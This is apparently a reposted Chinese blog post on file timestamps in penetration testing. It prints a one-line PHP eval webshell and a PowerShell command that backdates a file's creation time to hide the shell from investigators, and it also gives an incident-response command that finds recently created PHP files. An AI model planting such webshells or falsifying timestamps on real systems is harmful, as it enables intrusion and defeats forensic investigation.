渗透测试时关于文件时间的小技巧

栏目: 编程工具 · 发布时间: 7年前

内容简介:我们都知道每个文件都有三个时间属性,分别为针对这种情况,我们只需要对磁盘进行搜索,以创建时间为准倒序排列即可发现黑客上传的webshell。

前题

我们都知道每个文件都有三个时间属性,分别为 创建时间上次修改时间上次访问时间 。我们可以使用 powershell 命令查看文件的所有属性 (ls)[0]|fl * 命令解析:以列表的形式展示当前目录第一个文件的所有信息 渗透测试时关于文件时间的小技巧

渗透测试

shell.php 是一个一句话木马的 php 文件,代码如下 <?php eval($_REQUEST['test']);?> ,使用菜刀连接后右键可以 修改文件(夹)时间 ,我们将时间修改为 2017渗透测试时关于文件时间的小技巧 然后我们再来看一下该文件属性 渗透测试时关于文件时间的小技巧 发现菜刀只是修改了 上次修改时间上次访问时间 , 创建时间 仍然是正确的。

应急响应

针对这种情况,我们只需要对磁盘进行搜索,以创建时间为准倒序排列即可发现黑客上传的webshell。 powershell 的命令为 Get-ChildItem -Recurse -Filter *.php G:\ | sort -Descending CreationTime | Select-Object FullName,Length,CreationTime,LastWriteTime | Select-Object -First 10 命令解析:查找G盘所有目录下最新创建的10个PHP文件,并展示出文件路径,大小,创建时间,上次修改时间 渗透测试时关于文件时间的小技巧

最后

为了真正修改文件时间,在使用菜刀修改文件时间后,还需要执行命令 powershell ((Get-ChildItem shell.php).CreationTime='2000/8/30 23:59:39') 实际渗透时创建时间应该略早于修改时间,或一致 渗透测试时关于文件时间的小技巧


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

数据库系统实现

数据库系统实现

加西亚-莫利纳(Hector Garcia-Molina)、Jeffrey D.Ullman、Jennifer Widom / 杨冬青、吴愈青、包小源 / 机械工业出版社 / 2010-5 / 59.00元

《数据库系统实现(第2版)》是斯坦福大学计算机科学专业数据库系列课程第二门课的教科书。书中对数据库系统实现原理进行了深入阐述,并具体讨论了数据库管理系统的三个主要成分——存储管理器、查询处理器和事务管理器的实现技术。此外,第2版充分反映了数据管理技术的新进展,对内容进行了扩充,除了在第1版中原有的“信息集成”一章(第10章)中加入了新的内容外,还增加了两个全新的章:“数据挖掘”(第11章)和“数据......一起来看看 《数据库系统实现》 这本书的介绍吧!

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具

HSV CMYK 转换工具
HSV CMYK 转换工具

HSV CMYK互换工具